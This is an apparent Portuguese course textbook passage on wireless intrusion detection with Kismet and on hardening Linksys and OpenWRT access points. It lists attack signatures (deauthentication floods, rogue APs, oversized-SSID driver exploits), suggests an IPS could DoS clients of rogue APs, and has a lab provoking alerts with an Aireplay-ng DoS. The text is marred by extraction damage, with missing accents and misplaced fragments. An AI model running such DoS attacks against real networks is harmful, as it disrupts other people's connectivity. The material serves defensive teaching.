NetStumbler. 11 Probes contra um AP descoberto. 11 Mensagem tpica includa no payload. 22 3.2.0 Flurbe gronk bloopit, bnip, Frundletrune. 22 3.2.1 All your 802.11b are belong to us. 22 3.2.3 Intentionally blank. Um exemplo de ataque detectado por assinatura a deteco de probes do NetStumbler.
w um nvel de falso-positivo quase nulo.

Saiba mais em Wellenreiter wireless penetration tool: http://sourceforge.net/ projects/wellenreiter/
Essa ferramenta envia pacotes nicos, com cadeias de texto que identificam a atividade com
Outro exemplo de assinatura presente no Kismet a deteco da atividade de outra ferramenta Wellenreiter. Entre cada ataque de dicionrio por fora bruta, na tentativa de descobrir um SSID oculto, a ferramenta troca o SSID investigado para this_is_used_for_wellenreiter o que permite que se identifique, com um certo grau de certeza, uma estao suspeita. De maneira semelhante, a ferramenta AirJack define airjack como SSID inicial.
Anlise de tendncias
11 Pode ser classificada como um subtipo de deteco por anomalia. 11 Identifica ataques avaliando dados coletados no decorrer do tempo. 11 Mecanismo mais til. 22 Desvantagem: requer mais memria, mais processamento. 11 Disponvel no Kismet.
Outro mecanismo de deteco de ataques disponvel a anlise de tendncias. Indicadores

que alimentam esse mecanismo podem ser: 11 Probes incomuns; 11 Desassociaes em excesso; 11 Deteco de um AP trocando de canal: possvel AP falso; 11 Deteco de clientes que apenas efetuam probes na rede, mas nunca se associam: ativi dade tpica de ferramentas como NetStumbler. A desvantagem dessa tcnica o consumo significativamente maior de memria e processa mento necessrios para anlise. Esse pode ser um ponto de vulnerabilidade do IDS, j que o atacante pode tentar esgotar os recursos do sistema. O Kismet implementa esse tipo de anlise e exige mais processamento e memria somente no servidor o que diminui consideravelmente o risco de esgotamento de recursos no Access Point, por conta dessa anlise. Trataremos mais adiante de dois tipos de ataques detectados pelo Kismet por esse tipo de anlise.
Anlise de anomalias
11 Alarme na ocorrncia de eventos afastados significativamente de um comportamento
145
considerado normal. 22 Base de normalidade baseline. 11 Requer um perodo anterior de observao da rede. 11 Identifica eventos anmalos que no condizem com a especificao IEEE 802.11. 11 Pouco implementada. 22 No disponvel no Kismet. O mtodo por anomalia produz alarmes na ocorrncia de eventos que se afastem signifi cativamente de um comportamento considerado normal (base de normalidade baseline), porm, requer um perodo anterior de observao da rede para a formao da baseline. Basicamente, esse tipo de deteco considera suspeito um dado trfego que no siga a especificao IEEE 802.11. A vantagem desse tipo de anlise a possibilidade de deteco de ataques novos, se compa rado com a anlise contra assinaturas. Contudo, possui a desvantagem de gerar um grande ndice de falsos-positivos.
Avaliando solues de IDS

Caractersticas desejveis: 11 Agregao de eventos. 11 Implantao simples. 11 Protocolo de comunicao seguro. 11 Intrusion Prevention System (IPS). 11 Integrao com outro IDS. 22 Estender deteco camada 3. Alguns recursos devem ser considerados, na avaliao de solues de IDS para uma rede sem fio. Alguns deles: 11 Agregao de eventos: possibilidade de concentrar diversos eventos em um nico alerta, facilitando o trabalho do analista. 11 Implantao simples: a configurao dos sensores de maneira centralizada, suporte a
PoE (Power over Ethernet) e deteco de sensores inativos tornam a implantao simples em ambientes mais complexos. 11 Protocolo de comunicao seguro: protocolos como Syslog, HTTP e SNMP devem ser evitados em favor de opes que no transmitam os dados monitorados em claro pela rede. 11 Intrusion Prevention System: possibilidade de integrar IDS com capacidade de reao ao promover ataques de DoS contra clientes que se conectem com APs rogue.
11 Integrao com outros IDS: possibilidade de integrao com um IDS de camada 3 e superiores. No caso de implantaes de Kismet, possvel usar a sada da ferramenta e disparar um ataque DoS contra clientes que tentem se conectar com APs considerados rogue. Os riscos de evitar o acesso de clientes autnticos da rede e de afetar o funcionamento de redes vizinhas organizaes prximas deve ser considerado. Com relao integrao com sistemas IDS tradicionais, possvel direcionar a sada de Kismet para um named pipe (opo fifo da configurao) e enviar o trfego para uma ferra menta como Snort.
146
Essa opo, entretanto, limitada para trfego WEP, o nico que Kismet capaz de decifrar.
Caractersticas importantes
Dwell Time e Hop Time: 11 Tempo em que no h monitorao por troca de canais. rea de cobertura: 11 Quatro APs para cada sensor. Armazenamento e anlise de tendncias: 11 Possibilidade de anlise mais elaborada com Excel e outras ferramentas. Alguns fatores so importantes e devem ser levados em considerao na implantao de um IDS:
11 rea de cobertura: sensores normalmente usam a rede cabeada para reportar o trfego monitorado para o servidor centralizado e, por isso, no precisam transmitir. Assim, no existem as mesmas restries de distncia que afetam a implantao de APs. Portanto, possvel implantar sensores numa razo de 4:1, ou seja, 4 APs para cada sensor IDS; 11 Dwell time, Hop Time: o tempo gasto entre os saltos de canais (dwell time) e o tempo necessrio para trocar de canal (hop time) devem ser levados em conta por serem fatores importantes. possvel que ataques aconteam enquanto a rede no est sendo monitorada devido a um desses eventos. Solues para esse problema so estabilizar em um canal em que se tenha detectado um ataque ou manter o maior nmero possvel de sensores em canais estticos; 11 Armazenamento e anlise de tendncias: armazenar os eventos de uma forma que seja recupervel facilmente: um banco de dados, por exemplo, possibilita anlises posteriores com ferramentas de relatrios tais como Excel e Crystal Reports. Outro aspecto importante, no que diz respeito aos dados armazenados, a segurana sob os dados armazenados, de forma que um atacante no seja capaz de apagar eventos de um ataque.
IDS distribudo com Kismet

11 Diversas funes: 22 Sniffer. 22 Detector de redes 802.11 de camada 2. 22 Sistema de deteco de intruses (WIDS). 11 Modo RFMON: 22 Raw monitoring. 22 Trfego 802.11a/b/g. 11 Coleta passiva de pacotes. 11 Drones: sensores remotos. Kismet agrega diversas funes: detector de redes sem fio 802.11 de camada 2, sniffer (captura de pacotes) e sistema de deteco de intruses em redes sem fio (WIDS). Esta ltima funcionalidade nos interessa em especial.
147
O Kismet tem diversas opes de source, fontes de captura que so fontes de pacotes para anlise. O tipo de fonte determina a maneira de capturar dados da interface: como mudar de canal, como entrar em modo RFMON. Por meio da interface de captura kismet_drone, possvel identificar o endereo IP e a porta do drone termo usado para o sensor remoto do Kismet.
Drones Kismet
11 Normalmente servidor, sensor e interface grfica no mesmo host. 11 IDS distribudo (escalabilidade). 22 Kismet Server: registros centralizados. 22 Kismet Drones em dispositivos remotos, possibilidade de captura de todos os canais simultaneamente. 11 Reportam dados coletados por uma interface secundria. 11 Normalmente pela rede cabeada. 11 Possibilidade de salto de canais diferentes. O uso de drones transforma Kismet em um IDS distribudo. Drones tm todo o suporte a
fontes de capturas do sensor normal, reportando por uma conexo secundria (normalmente, pela rede cabeada) para um servidor Kismet que armazena e analisa os pacotes coletados. Diversas configuraes de varredura de canais so possveis: diversos drones que moni toram canais distintos, poucos drones que varrem poucos canais ou apenas um drone que varre todos os canais. importante lembrar aqui dos conceitos de dwell time e hop time: quanto menos se saltar entre canais, maior a cobertura do espectro e menor a possibilidade de perder o trfego de um atacante. Devido aos poucos requisitos de processamento e memria, possvel instalar um Drone Kismet em um AP, que normalmente tem recursos escassos. bom lembrar, entretanto, que, ao fazer isso com um AP SOHO (Small Office/Home Office) como os Linksys, o disposi tivo perde a funcionalidade de Access Point: com a interface sem fio em modo RFMON no possvel prover servio de conexo para clientes. Na prtica deste Captulo 8, implantaremos uma infraestrutura simples de Drones Kismet instalados em APs reportando a um servidor central.
Alertas e deteco de intruses

Vinte e dois tipos de alertas teis para sensores estticos. 11 Assinaturas (12 tipos). 22 Exemplo: verses especficas de NetStumbler. 11 Tendncias (10 tipos).
22 Exemplo: desassociaes excessivas, probes no usuais. Sem suporte anlise por anomalias. Possibilidade de integrao com IDS de camada 3 e superiores. 11 Integrao com Snort por named pipes. 11 Restrito para WEP (decodificao dos pacotes). Kismet prov deteco de ataques baseada em assinaturas e tendncias, com foco na camada 2 (802.11). A integrao com a camada 3 e superiores possvel atravs do uso de Snort com fonte de captura em um named pipe criado pelo Kismet. A configurao simples:
148
w
Aprenda mais sobre Named Pipes e o Kismet. Acesse Introduction to Named Pipes em http://www2. linuxjournal.com/ article/2156 e Kismet reader em http://www. kismetwireless.net/ documentation. shtml#readme
11 Configura-se um Drone Kismet pelo arquivo de configurao kismet_drone.conf ; 11 Configura-se o Kismet Server de forma que uma das fontes de captura seja um Drone Kismet. O capture source em questo o kismet_drone; 11 Acesso aos dados por um cliente Kismet, seja no mesmo host do servidor ou no. A integrao com Snort feita por named pipes e deve ser feita no host que hospeda o Kismet Server. Infelizmente, apenas trfegos WEP ou no cifrados podem ser encaminhados para o Snort, uma vez que Kismet capaz de decifrar em tempo real apenas esse tipo de trfego. Os alertas foram desenvolvidos para sensores estticos, ou seja, podem emitir alertas sem importncia quando so utilizados sensores mveis em cenrios de wardriving, por exemplo. A descrio das regras nos prximos slides se refere verso Kismet-2006-04-R1.
Tipos de alerta assinatura (12 tipos)

11 NETSTUMBLER: Probe requests NetStumbler. 11 LUCENTTEST: teste de link Lucent. 11 AIRJACKSSID: SSID airjack. 11 APSOOF: detecta tentativas de forjar o AP. 11 APSPOOF. 11 DHCPCLIENTID: DHCP DoS. 11 DISCONCODEINVALID: pacotes invlidos de solicitao de desconexo. 11 DEAUTHCODEINVALID: pacotes invlidos de solicitao de desautenticao. 11 LONGSSID: detecta solicitaes de conexo SSIDs com nome maior que 32 bytes. 11 MSFBCOMSSID: detecta ataques a vulnerabilidade presente em alguns drivers broadcom para o SO Windows. 11 MSFDLINKRATE: detecta ataques a vulnerabilidade presente em alguns drivers D-Link para o SO Windows. 11 MSFNETGEARBEACON: detecta ataques a vulnerabilidade presente em alguns drivers Netgear para o SO Windows.
SSID IE tag de tamanho 0. 11 NETSTUMBLER : em tentativa de obter o SSID de uma rede, o NetStumbler envia pacotes que podem identific-lo com uma baixa incidncia de falsos-positivos; 11 LUCENTTEST: Lucent/Orinoco/Proxim/Agere fornecem um software de site survey. Kismet capaz de identificar quando ele utilizado; 11 AIRJACKSSID: as ferramentas AirJack definem airjack como SSID inicial, possibilitando deteco pelo Kismet; 11 APSOOF: uma lista de endereos MAC vlidos para um determinado SSID pode ser passada atravs da opo apspoof=. Se for detectado na rede algum Beacon ou tentativa de conexo ao SSID monitorado, cujo MAC do AP no esteja na lista, um alerta emitido; 11 DHCPCLIENTID: um cliente que enviar um pacote de DHCP DISCOVER contendo uma tag de Client-ID, que no bate com o MAC address de origem do pacote, pode estar tentando gerar uma negao de servio contra o servidor DHCP;
149
11 NULLPROBERESP: detecta ataques a interfaces antigas, vulnerveis a pacotes com o
11 DISCONCODEINVALID/DEAUTHCODEINVALID: detecta pacotes de desconexo e/ou desautenticao que no possua cdigos corretos para a razo da desconexo/desautenticao; 11 LONGSSID: a especificao 802.11 prev um mximo de 32 bytes para o nome do SSID. SSIDs maiores que 32 bytes podem indicar tentativas de explorao de vulnerabilidades em drivers antigos; 11 MSFBCOMSSID: algumas verses de drivers da Broadcom para o SO Windows no mani pulam corretamente campos de SSID maiores que 32 bytes, podendo comprometer o sistema. Referncia: WVE-2006-0071; 11 MSFDLINKRATE: algumas verses de drivers da D-Link para o SO Windows no mani pulam corretamente campos de SSID maiores que 32 bytes, podendo comprometer o sistema. Referncia: WVE-2006-0072; 11 MSFNETGEARBEACON: algumas verses de drivers da Netgear para o SO Windows no manipulam corretamente campos de SSID maiores que 32 bytes, podendo comprometer o sistema; 11 NULLPROBERESP: pacotes de resposta a uma tentativa de conexo com a tag IE do SSID de tamanho 0, pode gerar falhas em placas antigas (prism2, orinoco, airport-classic). Referncia: WVE-2005-0019.
Tipos de alerta tendncias (10 tipos)

11 DEAUTHFLOOD: Flood de desautenticao ou desassociao. 11 CHANCHANGE: AP previamente detectado em um novo canal. 11 PROBENOJOIN: Probes partindo de um cliente que nunca se associa. 11 DISASSOCTRAFFIC: trfego de uma origem dentro de 10 segundos aps desassociao. 11 BSSTIMESTAMP: Timestamps BSS invlidos, possvel AP forjado. 11 CRYPTODROP: detecta um AP forjando um SSID com nveis mais baixos de segurana, visando obter credenciais de conexo dos usurios. 11 BCASTDISCON: detecta pacotes forjados de desassociao ou desconexo que podem gerar negao de servio na rede sem fio. 11 DHCPNAMECHANGE/DHCPOSCHANGE: detecta tentativas de clonagem de MAC. 11 DHCPCONFLICT: detecta clientes que receberam um IP do servidor DHCP, porm trafegam utilizando outro IP. 11 DEAUTHFLOOD: deteco de ataque no persistente de DoS, em que o atacante forja pacotes de desassociao ou desautenticao;
11 CHANCHANGE: ataque do tipo Man In The Middle (MITM) no qual o atacante tenta dire cionar usurios para um AP falso com mesmo SSID de um AP da organizao; 11 PROBENOJOIN: detecta atividade possivelmente maliciosa de clientes que fazem probes
por redes, mas que no se associam aos APs que responderam; 11 DISASSOCTRAFFIC: um host que se desassocia legitimamente no deveria trocar dados imediadamente depois. Qualquer cliente que troque dados dentro de 10 segundos aps a desassociao da rede pode ser considerado vtima de um ataque de desassociao; 11 BSSTIMESTAMP: o timestamp BSS no pode ser forjado. Um timestamp BSS diferente uma provvel tentativa de forjar o BSSID ou SSID de um Access Point; 11 CRYPTODROP: detecta um AP que esteja configurado com um nvel mais baixo de segu rana (por exemplo, um AP com WEP em uma rede WPA), pode ser utilizado para enganar um usurio e obter suas credenciais;
150
11 BCASTDISCON: detecta se algum host est enviando pacotes pacotes forjados de desau tenticao ou desasociao, o que pode gerar desconexo de todos clientes de uma rede Wi-Fi (DoS); 11 DHCPNAMECHANGE/DHCPOSCHANGE: o protocolo DHCP permite que o cliente informe seu hostname no pacote de Discover do DHCP. Esse nome somente deve ser alterado em situaes drsticas (tipo um computador com dual-boot). A deteco dessa troca de hostname pode indicar uma tentativa de spoof ou de clone de MAC; 11 DHCPCONFLICT: um cliente que recebera um IP do servidor DHCP, porm trafega utili zando outro IP, pode indicar uma m configurao do cliente ou uma tentativa de spoof.
Prtica de Kismet como IDS Distribudo

Drones Kismet: 11 Sniffers apenas. 11 Sensores remotos na razo 4:1. 11 Permite monitoramento de todos os canais simultaneamente. Servidor Kismet. 11 Armazenamento e anlise centralizada. Clientes Kismet. 11 Local ou remoto. Na atividade prtica ao final deste Captulo, implantaremos um IDS distribudo no modelo
cobertura, ou seja, sensores dedicados monitorao. Usaremos, para isso, todos os ele mentos da arquitetura de Kismet: 11 Kismet Server. 11 Kismet Client. 11 Kismet Drone. O objetivo da atividade ter sensores abrangendo todos os canais de 802.11b/g, com o obje tivo final de detectar ataques e rogues.
151
152
Na prtica de reconhecimento da ferramenta Kismet, lidamos com uma infraestrutura com posta por Kismet Server e Kismet Client em operao no mesmo host. Existe um terceiro elemento, Kismet Drone, um software leve, que exerce apenas um papel: encaminhar os dados coletados para um Kismet Server remoto, como um sensor de deteco. Dessa forma, podemos criar uma infraestrutura com vrios drones e um servidor Kismet recebendo os dados de diversas posies, com placas e canais diferentes, atravs da rede cabeada. O Kismet possui trs arquivos de configurao: 11 kismet.conf : configurao do Kismet Server. 11 kismet_drone.conf : configurao do Drone. 11 kismet_ui.conf : configurao da Interface Grfica do Cliente. Esses arquivos de configurao esto no diretrio /usr/local/etc do BackTrack. Para a criao da infraestrutura, seguiremos os seguintes procedimentos sequenciais para minimizar a ocorrncia de problemas de conexo entre servidor e drones: 11 Configurao das interfaces de rede cabeada com o endereamento IP do laboratrio. Anote os IPs de cada drone e do servidor; 11 Configurao dos drone s (edio do arquivo kismet_drone.conf ); 11 Configurao do Kismet Server (edio do arquivo kismet.conf em mquina selecionada pelo instrutor); 11 Ativao de apenas um drone; 11 Verificao do recebimento de pacotes do drone ativado, na interface de rede do servidor; 11 Ativao do Kismet Server, configurado para receber pacotes apenas do nico drone ativado (editar kismet.conf ); 11 Verificao do funcionamento; 11 Desativao do Kismet Server (tecla Q); 11 # ifconfig wlan0 down 11 # ifconfig wlan0 up 11 Ativao dos demais drones; 11 Verificao do recebimento de pacotes dos drones ativados, na interface de rede do servidor; 11 Ativao do Kismet Server, configurado para receber pacotes dos demais drones ativados (editar kismet.conf ) que esto enviando pacotes; 11 Verificao do funcionamento.
153
Atividade 8.1 Configurando o Kismet Drone

A configurao do drone feita de maneira bem simples: bastam algumas alteraes no arquivo kismet_drone.conf, em /usr/local/etc/ do seu BackTrack. Lembre-se de salvar o arquivo de configurao. 1. Altere para o endereo IP do Kismet Server ou pela mscara da rede, por exemplo:
allowedhosts=192.168.1.1
2. Altere o bindadress para o IP do cliente drone. Verifique o IP usando o comando ifconfig.
bindaddress=192.168.1.10
3. Defina a interface de captura do drone com canal inicial 1:
source=rt73,wlan0,drone1,1
4. Configure a interface para no saltar entre canais:
channelhop=false
Atividade 8.2 Configurando o Kismet Server

Como j mencionado, o Kismet Server pode receber dados no somente das interfaces de rede locais (que pode ser mais de uma), mas tambm de Kismet Drones remotos. Para configurar o Kismet Server para operar com drone s, inclua a seguinte linha no seu arquivo kismet.conf (em /usr/local/etc/ ):
source=kismet_drone,192.168.1.10:3501,d1
Lembre-se de salvar o arquivo de configurao. Voc pode configurar diversos drones um para cada canal, por exemplo. A nomenclatura d1, por exemplo, pode indicar um drone que opera apenas no canal 1. Note que, uma vez que Kismet utiliza a interface WLAN em modo monitor, no possvel us-la para associao. Assim, a comunicao entre Kismet Server e Drone normalmente ocorre por meio da rede cabeada. Agora, seu WIDS est pronto. Basta iniciar o Kismet Drone seguido do Kismet Server para visualizar os pacotes recebidos remotamente. No Kismet Drone, execute:
# ifconfig wlan0 down # rmmod rt73

# modprobe rt73
A interface Linksys WUSB54GC em especial normalmente exige que o mdulo seja carre gado novamente para que a captura de Kismet (Server ou Drone) acontea com sucesso.
154
Execute o comando kismet_drone, para acionar o Kismet Drone. Abaixo uma sada bem-sucedida:
bt etc # kismet_drone Suid priv-dropping disabled. This may not be secure. No specific sources given to be enabled, all will be enabled. Disabling channel hopping. Source 0 (drone1): Enabling monitor mode for rt73 source interface rausb0 channel 1 ... Source 0 (drone1): Opening rt73 source interface rausb0 ... Kismet Drone 2007.10.R1 (Kismet) Listening on port 3501 (protocol 9). Allowing connections from 127.0.0.1/255.255.255.255
No Kismet Server, inicie o Kismet pelas opes de aplicativos ou execute:
# kismet
Para mais informaes e opes, veja:
# man kismet_drone # man kismet
Atividade 8.3 Cobrindo todos os canais

Existem duas maneiras de varrer os canais: trocando de canais (hopping) ou monitorando o mximo de canais simultaneamente. Crie um WIDS com pelo menos trs drones, de forma que cada um deles cuide de uma faixa de canais. Enumere pelo menos duas vantagens de se monitorar o mximo de canais simul taneamente (dica: dwell time). Se desejar que cada drone monitore apenas determinado canal (ex. 6), altere no arquivo kismet_drone.conf de cada um dos drones:
source=rt73,rausb0,drone1,1 source=rt73,rausb0,drone2,2 source=rt73,rausb0,drone3,3 source=rt73,rausb0,drone4,4

O nome que se d ao source (drone1, drone2, neste caso) irrelevante para a exibio no Kismet Client. O nome do source que aparece no painel do Kismet Client configurado na linha source do arquivo kismet.conf . Para configurar drones que varrem todos os canais:
source=rt73,rausb0,drone1 channelhop=false
155
Atividade 8.4 Alertas

O Kismet, atualmente, oferece 22 tipos de alertas diferentes que podero ser visualizados na barra de alertas, na parte inferior da interface grfica: 11 AIRJACKSSID; 11 APSPOOF; 11 BSSTIMESTAMP; 11 CHANCHANGE; 11 CRYPTODROP; 11 DEAUTHFLOOD; 11 BCASTDISCON; 11 DHCPCLIENTID; 11 DHCPCONFLICT; 11 DISASSOCTRAFFIC; 11 DISCONCODEINVALID; 11 DEAUTHCODEINVALID; 11 DHCPNAMECHANGE; 11 DHCPOSCHANGE; 11 LONGSSID; 11 LUCENTTEST; 11 SFBCOMSSID; 11 MSFDLINKRATE; 11 MSFNETGEARBEACON; 11 NETSTUMBLER; 11 NULLPROBERESP; 11 PROBENOJOIN. Provoque uma situao de alerta para seu WIDS recm-criado. Exemplos de ataque: Netstumbler Ataque de DoS com Aireplay-ng.
156
9
Implantando uma WLAN segura (parte 1)
objetivos
Configurar um Access Point mais seguro com OpenWRT; configurar um AP comercial; WPA2 Enterprise com RADIUS, WPA2 e EAP-TLS como mtodo EAP e certificados digitais para autenticao.
conceitos
WEP, WPA2 Personal (WPA2-PSK) e WPA2 Enterprise.
Introduo
11 Estudo de caso: Linksys WRT54GS. 11 AP mais seguro com OpenWRT. 11 Implantando uma WLAN bsica no modelo Personal.
Neste captulo, abordaremos a segurana no Access Point, especificamente nos dispositivos da marca Linksys srie WRT54 os mais populares do mercado SOHO (Small Office/Home Office).
Firmware Conjunto de instrues operacionais programadas diretamente no hardware de um equipamento eletrnico.
Introduziremos tambm uma opo muito interessante: a substituio do firmware do fabricante por um alternativo. O firmware escolhido para o estudo de caso alternativo foi o OpenWRT, por seus principais diferenciais, estabilidade e possibilidade de instalao RADIUS pela instalao do pacote FreeRADIUS, possibilitando a implantao de WPA/WPA2 Enterprise sem a necessidade de um servidor RADIUS externo. Outra funcionalidade que se destaca a possibilidade de se implantar um Intrusion Detection System (IDS) especfico para a camada 2 de 802.11 de forma distribuda, atravs da instalao de um Drone Kismet.
Captulo 9 - Implantando uma WLAN segura (parte 1)
de pacotes. Esse ltimo diferencial permite que o AP seja capaz de atuar como servidor
Segurana padro no AP
Assim como outras opes de firmware (DD-WRT, por exemplo), OpenWRT oferece configu raes mais avanadas e flexveis que o firmware original, tais como segmentao da rede, automatizao de tarefas e ajuste da potncia de transmisso, bem como administrao remota segura por SSH (Secure Shell). Contudo, nem todos os APs suportam o upgrade, devendo-se, antes, verificar a compatibilidade com o firmware escolhido. Nas prticas subsequentes, configuraremos os APs com os firmwares comerciais j instalados.
157
Linksys e D-Link so padro no mercado SOHO. Estudo de caso: Linksys WRT54GS. 11 Verso 3, Firmware v4.70.6. 11 802.11b/g com SpeedBooster/Afterburner. Administrao: 11 Exclusivamente por interface web. 11 Suporte a HTTPS.
Figura 9.1 WRT54GS.
Linksys, juntamente com D-Link, podem ser considerados padres no mercado SOHO (Small Office/Home Office). Essa caracterstica, que os tornam acessveis, juntamente com seus recursos, fizeram com que o WRT54GS fosse o AP escolhido para as prticas. A verso GS em particular possui uma diferena bsica em relao verso WRT54G: o recurso SpeedBooster/Afterburner. De acordo com o fabricante, com esse recurso possvel melhorar o desempenho de uma rede 802.11g em at 35%. Uma caracterstica tpica desse tipo de dispositivo a presena de um servidor web embu tido para permitir o gerenciamento da unidade. Nesse modelo em particular essa a nica interface administrativa disponvel de fbrica, que tem autenticao HTTP e suporte a HTTPS para proteger o trfego que carrega a senha de acesso.
Segurana sem fio

WEP. 11 WEP-PSK (Personal). 11 Dynamic WEP, um WEP Enterprise com RADIUS/802.1x. WPA. 11 WPA-PSK (Personal). 11 Enterprise. WPA2 (802.11i). 11 Personal.
Esse Access Point foi lanado em 2004 e permite que se utilize todos os mecanismos de segurana disponveis no mercado: WEP, WPA e WPA2 em modelo Personal (PSK) e Enterprise (com autenticao por 802.1x/RADIUS). O WRT54GS permite que se implante segurana reforada com a presena de um servidor RADIUS externo, que atua como authentication server na arquitetura 802.1x. Entretanto, essas no so as nicas configuraes relacionadas segurana. Veremos, a seguir, como outras configuraes, aparentemente administrativas, podem afetar a segu rana do dispositivo.
158
Figura 9.2 Tela do WRT54GS: configuraes relacionadas segurana.
Configuraes de segurana
11 Secure Easy Setup (SES). 11 SSID. 11 Wireless SSID Broadcast. 11 Wireless MAC Filter. 11 AP isolation. A Linksys inclui, entre seus roteadores sem fio mais recentes, o recurso Secure Easy Setup (SES). Trata-se de um utilitrio instalado, no cliente, associado a um boto no AP que, uma vez pressionado, configura de maneira automtica uma rede WPA-PSK. No trataremos dessa configurao, uma vez que est voltada justamente para quem no quer conhecer detalhes de redes sem fio. A seleo do Service Set Identifier (SSID) importante, pois um SSID mal selecionado pode
AP atraente, considerando que pode indicar um AP com configurao padro SSID Linksys e com senha admin no caso do WRT54GS. Evite, tambm, escolher um SSID que diga algo sobre sua organizao salas, andares e departamentos. O broadcast do SSID pode ser desabilitado, de forma que somente quem conhecer o AP poder se associar a ele. Essa proteo de pouca utilidade para conter atacantes, uma vez que esse dado divulgado em pacotes de associao e fcil de capturar. Outro recurso normalmente associado segurana o filtro de acesso por endereo MAC. Esse tipo de filtro pode conter um atacante menos experiente, mas no conter aquele que forjar seu endereo MAC algo feito facilmente tanto em plataformas Linux quanto Windows.
159
dar a um atacante informaes importantes. O simples fato de no alterar o SSID j torna o
11 Firewall, filtros de aplicao e DMZ. 11 Administrao: 22 Alterao de senha. 22 Habilitar HTTPS. 22 Habilitar ou desabilitar acesso administrativo a partir da rede sem fio. 22 Habilitar ou desabilitar gerenciamento a partir da interface externa. Esse AP implementa alguns conceitos de segurana de redes de maneira simplificada: 11 Firewall: filtros simplificados por origem, destino e portas; 11 Filtros de aplicao: filtros por palavras-chave e URL;
11 DMZ : possibilidade de expor um host diretamente rede de distribuio, que pode ser a rede interna ou a internet, no caso do usurio domstico. O acesso interface de administrao deve ser feito apenas por usurios autorizados e, para que isto acontea, o AP implementa algumas medidas de controle de acesso. importante alterar a senha de acesso remoto logo que se configura o AP. Senhas-padro deste e de outros tipos de dispositivo de rede so facilmente encon tradas na web. Outra maneira de proteger o acesso administrativo habilitar o servidor web com HTTPS e usar apenas esse protocolo de acesso. possvel, ainda, restringir ou permitir o acesso a estaes ligadas LAN do AP. De forma semelhante, possvel restringir ou permitir o acesso interface administrativa a partir de hosts da rede cabeada qual o AP est conectado. Por padro, um AP como esse no possui nem mesmo a possibilidade de se escolher um usurio para o controle de acesso de HTTP o que certamente permite ataques por fora bruta. Quanto menor for a exposio da interface administrativa, melhor especialmente em redes abertas.
Atualizao de firmware
11 O AP tambm est sujeito a vulnerabilidades. 11 Pode ser encarada como atualizao de segurana. 11 Feita a partir da LAN do AP e no por HTTPS. 11 No pode haver queda de energia durante o processo. 11 Permite instalao de firmwares alternativos.
Tal como sua estao Windows, que precisa de atualizaes de segurana do Sistema Opera cional (SO), de antivrus, do anti-spyware e de diversos outros componentes do sistema, um
AP tambm necessita de atualizaes, estas que corrigem falhas ou adicionam funcionali dades assim como foi o caso da implementao de WPA1 que tinha, como restrio, operar sobre o mesmo hardware de WEP. Atualizar o firmware deve ser encarado como uma tarefa rotineira de segurana, especial mente porque so frequentes as vulnerabilidades descobertas nesse tipo de dispositivo. Como exemplo, podemos citar o caso do prprio WRT54GS com firmware 4.50.6, que
160
apresentava uma vulnerabilidade que permitia que, mesmo definido o authentication type (menu Wireless > Advanced Wireless Settings) para Auto ou Shared, o AP se comportava como aberto mesmo com WPA-PSK e TKIP habilitados. A possibilidade de atualizar firmware particularmente interessante para a instalao de um firmware alternativo, como veremos mais adiante neste mesmo Captulo.
Figura 9.3 Tela para atualizao do firmware do WRT54GS.
AP mais seguro com OpenWRT

11 WRT54GS pode oferecer mais. 11 Um dos melhores APs SOHO em recursos de hardware. 11 Verso 3. 22 8 MB Flash, 32 MB RAM e processador de 200 MHz. 22 Outras verses e WRT54G: menos Flash, menos RAM. 11 possvel aproveitar melhor seus recursos. 11 Soluo: Linux.
antigas. As sries WRT54G e GS ficaram conhecidas por terem tido seu cdigo-fonte libe -
w
Conhea mais sobre o OpenWRT (Table of Hardware) e sobre os hardwares Linksys em Linksys hardware notes.
rado, satisfazendo s obrigaes GNU GPL e permitindo o desenvolvimento de firmwares alternativos baseados em Linux. A partir da verso 5, lanada em abril de 2006, tanto a verso G como GS passaram a ter firmware baseado em VxWorks e tiveram sua memria flash reduzida a um tamanho insu ficiente para a instalao dos firmwares baseados em Linux. Uma nova srie foi lanada (WRT54GL), que voltou a permitir a instalao de outros firmwares, com a desvantagem de oferecer apenas 4 MB e 16 MB de memria Flash e RAM, respectivamente. Esse modelo basicamente um WRT54G verso 4 que ainda permite a instalao de Linux.
161
Os Access Points da Linksys tm recursos de hardware abundantes em suas verses mais
OpenWRT
11 Firmware alternative. 11 Torna o AP um mini-PC com Linux. 11 Estende as funcionalidades do AP. 11 Compatvel com vrios equipamentos. 11 No partiu do cdigo-fonte do firmware original. Outras opes: 11 DD-WRT. 11 HyperWRT. OpenWRT a opo mais interessante entre os firmwares alternativos disponveis. Trans-
forma o AP em um mini PC com Linux, especialmente quando o dispositivo conta com mais memria Flash e RAM como o caso do WRT54GS verso 3. Esse firmware compatvel com diversos equipamentos, mas nos modelos da Linksys que ele pode desenvolver melhor suas funcionalidades. Outras opes de firmware consagradas pelo uso, e mais voltadas para quem deseja uma interface grfica mais rica, so DD-WRT e HyperWRT.
Vantagens do OpenWRT
11 Gerenciamento melhorado: SSH, SNMP e possibilidade de automaes por scripts. 11 Mais parmetros de configurao: nem tudo est na interface grfica, ainda rudimentar. 11 Gerenciamento de pacotes: Snort, Drone Kismet, TCPdump, Nmap, RADIUS. 11 Arquitetura interna revelada. 11 Switch Ethernet, interface sem fio e chip do roteador que interliga. 11 Possibilidade de alterar a arquitetura interna.
O OpenWRT traz diversas vantagens, se for comparado com o firmware original da Linksys e at mesmo com outros firmwares baseados em Linux: 11 Gerenciamento: possvel gerenciar o AP a partir de um terminal SSH ou pela tradicional interface administrativa web. Alm disso, lembre-se de que seu AP se torna um Linux, ou seja, possvel automatizar tarefas por meio de scripts; 11 Monitorao: possvel implantar facilmente SNMP e Syslog para monitorao do dispo sitivo o que ir ajudar na resoluo de problemas e na prpria monitorao; 11 Interface grfica: oferece apenas os servios bsicos, em um design rudimentar. Assim como em algumas aplicaes Linux em computadores, tira-se mais do sistema na interface Command Line Interface (CLI);
11 RADIUS: um aspecto que diferencia essa distribuio de firmware das demais a possi bilidade de instalao de pacotes, que vo desde Snort e Nmap at um servidor RADIUS o que nos interessar, particularmente, no Captulo 10. A possibilidade de RADIUS no prprio AP elimina a necessidade de um authentication server dedicado, facilitando a implantao de WPA e WPA2 Enterprise em ambientes mais modestos; 11 Linux : por meio de comandos comuns de Linux, como ifconfig, uname, iwconfig e brctl (para controlar bridges), possvel entender com mais detalhes a arquitetura interna do AP. Se no for suficiente, possvel alterar a arquitetura, segregando LAN e WLAN em VLANs distintas, por exemplo.
162
CPU
OpenWrt br0
WRT54G v4 WRT54GS v3
eth1
vlan0 vlan1
eth
WIFI Access Point
Tagging
eth0
Porta interna
Porta WAN
Portas LAN 1 2 3 4
Internet
